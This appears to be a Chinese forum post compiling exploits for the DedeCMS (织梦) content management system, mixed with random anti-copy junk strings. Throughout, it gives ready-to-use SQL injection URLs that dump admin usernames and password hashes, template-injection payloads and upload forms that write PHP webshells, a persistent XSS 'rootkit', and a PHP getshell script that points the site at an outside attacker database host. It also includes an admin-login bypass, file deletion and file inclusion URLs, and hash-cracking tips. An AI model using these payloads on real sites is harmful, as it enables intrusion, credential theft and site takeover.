dedecms漏洞总结

admin

8 n( D7 Q# L- a7 c: uDedecms 5.6 rss注入漏洞
http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1

5 ?2 o8 p" G% \( s9 i6 S9 q




0 Z: }. T: r; C  n' L( g1 f
9 j0 m( c6 U- s' s
+ S9 [5 j! [! ~1 A6 d2 v9 y3 lDedeCms v5.6 嵌入恶意代码执行漏洞
% z+ P0 }# a, ~! |6 g. ^注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
发表后查看或修改即可执行
4 ~' |% p' Q; K! K( {9 ]a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码xiao，直接生成一句话。
; |0 i- g  U5 l) B7 I1 i


" x; R) C$ e+ j/ h+ t, o+ \



' B2 @' ^( @  v( p
4 Z7 c( J6 W0 e6 D. r7 Z( j( Z' a0 cDede 5.6 GBK SQL注入漏洞
http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
- [" l1 y9 ~3 `' l5 E3 Xhttp://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7

9 _6 L/ q* ^1 O2 ^* r, G5 N) u

$ J- b/ P9 r/ _* \0 h/ h; e8 B
3 A! L/ B3 z2 M: `


: \, _* @. l: o! z% W
DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
* b1 e3 j9 V$ t( H! W& Hhttp://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`


3 @" D2 n" p3 S

5 u8 Y% z; R/ I- ?# o; k9 \
2 W4 h8 l  y; k3 d, B- V
DEDECMS 全版本 gotopage变量XSS漏洞
0 q% n: b9 O1 T2 d0 X# x1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
  b4 v9 B; O" b' X- F2 P5 ahttp://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="
5 ?4 l+ c- @' H
$ d. w% t4 Z. h
2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda

0 r3 L2 [* z2 _; S
http://v57.demo.dedecms.com/dede/login.php
4 C5 c- T! v6 l3 K

# J5 m8 Y& N# N. Ccolor=Red]DeDeCMS(织梦)变量覆盖getshell
* c! W- p5 p! S#!usr/bin/php -w
5 G  O0 s( n5 T/ |<?php
error_reporting(E_ERROR);
& S% R9 l" n% g$ O4 lset_time_limit(0);
( s' s' ^1 R# S* ]print_r('
DEDEcms Variable Coverage
Exploit Author: www.heixiaozi.comwww.webvul.com
. ?  w. F' o& l);
echo "\r\n";
0 w; t' B, A4 q2 Jif($argv[2]==null){
print_r('
, b: ?* {4 \2 L# m, L" a- y+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' url aid path
& D0 ^' c' r+ _9 Haid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
' }& Z# ?7 Z6 d8 h% S) [6 wExample:
4 H2 b* z( z  m" Jphp '.$argv[0].' www.site.com 1 old
- x9 @$ ]6 b* T2 D  [+---------------------------------------------------------------------------+
');
# S" l5 H: o. \* wexit;
/ Y3 o* ^* j, ?9 A! m. B% x- i}
$url=$argv[1];
$aid=$argv[2];
' s$ s) o1 e! k2 ]6 t8 ^$path=$argv[3];
$exp=Getshell($url,$aid,$path);
if (strpos($exp,"OK")>12){
- L8 B& k1 r3 Q/ X+ @3 Q' m  I9 oecho "
- b! O7 y6 g$ o0 NExploit Success \n";
if($aid==1)echo "
% t* {1 i: D9 I/ k2 G; \Shell:".$url."/$path/data/cache/fuck.php\n" ;
" i( d. J& |8 E) d6 k
% J: y2 }6 `8 ?, i" ]  \- E  Q
if($aid==2)echo "
Shell:".$url."/$path/fuck.php\n" ;
1 W- i; H- O5 U6 `' K9 T. h

if($aid==3)echo "
Shell:".$url."/$path/plus/fuck.php\n";
' @3 H% ?! s& e0 O
3 r. D, F: \8 }
}else{
echo "
Exploit Failed \n";
}
; P: I- z9 t+ T- o  h! efunction Getshell($url,$aid,$path){
$id=$aid;
$host=$url;
* ]# u- C# n& f3 u. g9 B$port="80";
$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
/ A; d/ k  x+ ?$data .= "Host: ".$host."\r\n";
' T- L3 d- f% i" l$ z+ B5 C6 s$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
2 i: M; b& U" I2 m& ?& k4 f! G- ]$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
2 M- L' }5 f: u+ Y  L//$data .= "Accept-Encoding: gzip,deflate\r\n";
$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
$data .= "Connection: keep-alive\r\n";
! E) s+ Q6 K, v6 S4 E; g# P( F$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
$ock=fsockopen($host,$port);
if (!$ock) {
echo "
No response from ".$host."\n";
$ T; _3 j7 G' `0 q0 S; q' u}
fwrite($ock,$data);
# v3 x3 T# Y/ o8 l. wwhile (!feof($ock)) {
# C' ^, p" c/ a& ]5 u$exp=fgets($ock, 1024);
return $exp;
}
$ J0 u7 q4 Z2 s9 o& z9 q}
9 w* h7 E; C0 h3 A
7 c1 V7 {" k2 S% w. K9 W
?>
' N; i4 D/ x9 ?, y

( A( e2 R% c& ?( G

) R* I" x) h2 K$ N
4 [# _5 Z. C. A) ^0 Q


, n. H; h+ J& T  G% c/ R, H  n, a

DedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
7 ~7 m) J9 c% r2 i* t$ O& F, thttp://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root


把上面validate=dcug改为当前的验证码，即可直接进入网站后台

" a3 o1 b! ?$ E2 F) ], x5 j4 O- e
' o+ J! n1 t: S" `# ]+ V  k此漏洞的前提是必须得到后台路径才能实现

( ^( ]8 P4 E0 d. V
. }; f3 }8 f% y; ]

( M5 _6 S4 u  l+ q. {/ {- t* V, l

0 S+ J' j; C7 G% s* p7 i1 H: i

. a7 F& l7 d7 n, d4 c# B- C+ _5 [% Y* r

9 o  g8 h$ P$ `Dedecms织梦 标签远程文件写入漏洞
7 i- |1 M3 D# L6 W  x% S9 y前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');
3 l! G) x! c' f2 X
2 O  s. s, T4 T: l$ \/ z& z; z
9 p* F: L- v& C再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
<form action="" method="post" name="QuickSearch" id="QuickSearch">
+ o+ w& Z) E5 i3 s<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
1 l7 J/ R$ R3 G8 [5 s' O; q<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
* K) L7 f* n& S1 J<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
& ~" r  O: Q3 m" }( F7 _<input type="text" value="true" name="nocache" style="width:400">
0 H  ^8 B: k4 [/ ^) b% ^<input type="submit" value="提交" name="QuickSearchBtn"><br />
# n0 @: h  T" P- b% c# _</form>
<script>
8 h7 E0 G+ h$ [) `function addaction()
{
document.QuickSearch.action=document.QuickSearch.doaction.value;
5 }0 @7 c: O2 r4 O9 v3 z' U}
# i5 Y* R7 `" w: {0 F4 F</script>
6 }3 \* Z/ r! v. I- h" ]: c

& `  r. l  J4 p3 E1 c3 j


6 u. ]5 V# Y3 I* W

- f/ Q  }0 K. ?$ m, x
* @! {0 [  q* K* l

DedeCms v5.6 嵌入恶意代码执行漏洞
( p, x7 g+ t$ `% k; V. ^: j6 \# x注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
  A* e' P$ L5 v+ D% p* m& J0 [生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
$ P4 i& r* j, {" U; x1 nDedecms <= V5.6 Final模板执行漏洞
注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
uploads/userup/2/12OMX04-15A.jpg
0 x% V% A/ u0 b

3 q9 V3 ~. o, q  j) k模板内容是（如果限制图片格式，加gif89a）：
( m, ]1 _- Z: b; p" K7 [{dede:name runphp='yes'}
6 a2 L, n# E- I; v9 ^! i$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
: k7 u, V: K5 z& B, K" W@fclose($fp);
{/dede:name}
* S( R! ^" i+ f7 Q* b- a6 y3 U2 修改刚刚发表的文章，查看源文件，构造一个表单：
! k6 c. v8 l9 ]# y<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
0 u4 H' k, l. o, W<input type="hidden" name="aid" value="2" />
3 v3 m, a  D3 H, z' v<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
' z7 l; D* g$ C$ P& D<input type="hidden" name="channelid" value="1" />
; ~' o* O. E- ^/ x0 |% ?7 s<input type="hidden" name="oldlitpic" value="" />
6 A# g5 r7 F$ w( x- A7 n( y7 z<input type="hidden" name="sortrank" value="1275972263" />


<div id="mainCp">
" D, P9 ^1 x6 P+ O8 j& \2 t<h3 class="meTitle"><strong>修改文章</strong></h3>
5 r1 w$ u& c- e4 z

4 V* o7 a; O" l1 Q, u<div class="postForm">
<label>标题：</label>
) C: _  g* M- O( S6 ^<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>

& b  p8 G7 t! o; [0 x' G# k3 P
<label>标签TAG：</label>
<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
' F! {8 [2 ?' ]8 w; J3 w
1 R( E# R* `7 ?1 Y
7 [( e& C3 n6 s' I$ T% J<label>作者：</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>


<label>隶属栏目：</label>
<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>测试栏目</option>
</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
7 s+ C) F. Z( l" P  ^6 H3 ?# C! K! B( O
+ t: |* i; }* b  i! B) i6 e
<label>我的分类：</label>
<select name='mtypesid' size='1'>
/ {) d3 T+ ^/ b% B. ?<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>hahahha</option>
) t4 c; V' \( r: v9 `( M</select>
1 b7 @) l) ?/ w; n5 b
. w7 a3 o, W6 Q
<label>信息摘要：</label>
<textarea name="description" id="description">1111111</textarea>
- N! _0 g3 ?" i5 f6 f) g(内容的简要说明)

$ W- h9 ]# {8 i: E% Y
3 T: h6 z. q+ q<label>缩略图：</label>
3 C6 v8 q- K3 M/ b6 m6 {0 F<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>


<input type='text' name='templet'
( @) g4 t/ f0 d0 C8 ?value="../ uploads/userup/2/12OMX04-15A.jpg">
" ?* O0 w3 _1 S* K<input type='text' name='dede_addonfields'
value="templet,htmltext;">（这里构造）
! O$ \! J# @$ M6 |, [</div>


<!-- 表单操作区域 -->
$ a0 j4 V' I  S7 z. |5 O* F<h3 class="meTitle">详细内容</h3>

( D3 y& P* ]. Y: J7 g0 K- u5 \
! A6 ]9 o$ d! c( ]  Y6 u# \<div class="contentShow postForm">
<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>


<label>验证码：</label>
* {8 k: W& _  ]" a* Y<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
3 m8 W) l  p5 m/ ~<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />


/ h: L4 O2 A& t' q. C) e9 t<button class="button2" type="submit">提交</button>
( V0 _2 a% D' G7 }+ h8 f# [5 x<button class="button2 ml10" type="reset">重置</button>
* v7 a/ a- T# C: ?: {  [/ `</div>
8 Q" r6 @! I/ R8 e+ n) l

; {  c# j' L# z# [, ~</div>
3 b. l! H# _1 N: X) e! ~& U3 O

</form>


提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
  }; H: Y/ Y4 b# H假设刚刚修改的文章的aid为2，则我们只需要访问：
2 r& Y/ q; O3 d4 h# ohttp://127.0.0.1/dede/plus/view.php?aid=2
9 ]+ w$ ^, d6 M: v( L5 {0 S即可以在plus目录下生成webshell：1.php





" V1 s  `4 T( B, ?





  I* p# z6 f& y* s
DEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
/ r6 G! h, ?6 W: n1 h# c* p( c, qGif89a{dede:field name='toby57' runphp='yes'}
; I- d/ L1 Z* q% f2 g" r" Kphpinfo();
) }, r7 V, C) x6 u' c& d{/dede:field}
# D, W% w, L5 ~# E# @. A保存为1.gif
9 R7 U8 j7 `+ Q; `8 L6 Z<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
0 s8 O! g& q+ G8 G+ Q: O- }% j0 `<input type="hidden" name="aid" value="7" />
& [( t- Y  f: B<input type="hidden" name="mediatype" value="1" />
<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
<input type="hidden" name="dopost" value="save" />
<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
: H# d- C/ y' P<input name="addonfile" type="file" id="addonfile"/>
<button class="button2" type="submit" >更改</button>
9 t0 m! _$ f6 [1 L</form>
. w- x4 e3 F$ A  g: z
, n( o1 {$ R! C' P: d; X, m
% C1 y. ?) O) y% F5 z) W构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
3 T* Z7 B3 [+ U/ n8 U发表文章，然后构造修改表单如下：
0 G: ~* G3 X; E$ Q1 Z

- \! J% l0 r# l2 J9 h4 `9 e<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
) l9 Z$ e4 R6 G" y% r- E! l<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
<input type="hidden" name="channelid" value="1" />
& |. `; N3 j0 |  _( z<input type="hidden" name="oldlitpic" value="" />
" F* E% a; m, _7 {2 A! ~<input type="hidden" name="sortrank" value="1282049150" />
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
<select name='typeid' size='1'>
! O# r7 m  E* ]8 Q9 e6 Y<option value='1' class='option3' selected=''>Test</option>
<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
5 L5 O2 ]* s' g  K+ {<option value='1' class='option3' selected>aa</option></select>
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
<input type='hidden' name='dede_addonfields' value="templet">
<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
' o' ^* |/ @& k( b<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
. J( a4 N: m6 X+ X2 a' a% _<button class="button2" type="submit">提交</button>
</form>
8 y8 m, R& `9 V6 C. x% y  }  X! O$ i( `
" J; p7 \# j6 m( B
' k  j0 F" a, l- U
8 e, \' D+ z; Q' m


; H5 z+ A" ^2 S0 Q8 X5 n
! [8 U4 m& N" Q1 R8 ~6 Z! g/ k& d
! M9 w" t+ p0 a! ~2 l

2 s( }* a% p9 E+ K) u- m% R" W
* J! Y3 j" d* E. ?4 `
织梦(Dedecms)V5.6 远程文件删除漏洞
http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif
+ D1 g8 n% @* `% X% }* s4 H% ^# P

* r/ o0 y! w7 P( ]% Y: ^4 s5 |



9 P6 @. H$ H7 t$ \


6 I  s( r: z& d9 k8 }! p
织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
7 V% W* e1 p  z! L! c: K, vhttp://www.test.com/plus/carbuya ... urn&code=../../
# V: ]* u; ]+ q/ f" j
( X$ W! ~, {& F* L. e- P+ C
( P! [5 Q  [# A) c' h% d: _0 A
/ T$ ^$ f% W3 I* z- s2 G8 T* r/ E
, l( L3 s! d! h; W! N1 r4 m


# l; u1 S! V# `( V  h( d3 u1 |$ Q


3 n1 h; d0 n6 {4 K3 P. _( pDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
3 B5 z% K: w0 ^) X6 G+ l密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5

+ }$ j+ a1 k; L- s1 z



7 C4 W/ }% c0 s6 \
! m, i6 Y, ?4 k; s: @
& T/ m  G. K! _

) A1 X" L5 P$ p$ }( ?, n
织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='
5 G" X) \+ b) J* R5 V: W* P0 f
/ ~; S7 K* K* k7 ^' L

- p) E, O% }8 z: [8 ^
( B, U- X' x' T& Q8 e9 O. e5 [- i6 {

6 V( v9 ?: O; o# q# e3 k



织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
<html>
) W- W& [) [0 O# e! S& c; N" v<head>
<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
; r0 q7 w- c2 Y</head>
<body style="FONT-SIZE: 9pt">
---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
) e; p* f: h9 ^+ u<input type='hidden' name='activepath' value='/data/cache/' />
<input type='hidden' name='cfg_basedir' value='../../' />
+ E9 Y! C& ?# e0 q<input type='hidden' name='cfg_imgtype' value='php' />
<input type='hidden' name='cfg_not_allowall' value='txt' />
4 ]) h% X: V; C$ O# @9 N<input type='hidden' name='cfg_softtype' value='php' />
<input type='hidden' name='cfg_mediatype' value='php' />
<input type='hidden' name='f' value='form1.enclosure' />
<input type='hidden' name='job' value='upload' />
<input type='hidden' name='newname' value='fly.php' />
. ^) I6 g; @$ a; Q- z- DSelect U Shell <input type='file' name='uploadfile' size='25' />
<input type='submit' name='sb1' value='确定' />
( I$ W  f+ d1 v& v8 r</form>
<br />It's just a exp for the bug of Dedecms V55...<br />
! U# y  q9 S$ ^# ~5 F( ]9 ]" yNeed register_globals = on...<br />
Fun the game,get a webshell at /data/cache/fly.php...<br />
4 g1 r, F* K0 @</body>
</html>

+ E/ g- L. D# N( F9 q6 B+ \
9 T7 `  j! r% ~, u% [4 m




/ [4 G/ g) f' D6 N7 D

: w0 w! }" o/ v+ e/ _% D' m5 S  ]' }5 m
织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
1. 访问网址：
  X1 F! k3 A( G9 ~http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
可看见错误信息
- x3 P+ K5 M( k  y5 x
. z! B! S5 N3 Y- M" a6 r' a' {
' ~4 v! d& G& _! @5 g2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
3 R8 C* @2 u2 \int(3) Error: Illegal double '1024e1024' value found during parsing
Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
0 M6 w' ~8 I5 n* C% Y3 f4 A
# w6 q+ c$ n, j1 Q# }
) n% {( e2 \. U* m( X8 Q/ A9 i8 ^3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是


# S' v  u( m. U* E<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>
; W3 }: X2 V0 R, Z- n& I3 {1 v
/ |" u' a7 t/ j. J4 m
按确定后的看到第2步骤的信息表示文件木马上传成功.





: E+ v/ S6 [+ t1 }% T/ Z
1 L" M+ }! H/ q+ f" Q



& C+ |+ B( Q6 U8 E5 u8 V/ m9 e
" X9 x; i/ \  q; Q
织梦(DedeCms)plus/infosearch.php 文件注入漏洞
http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*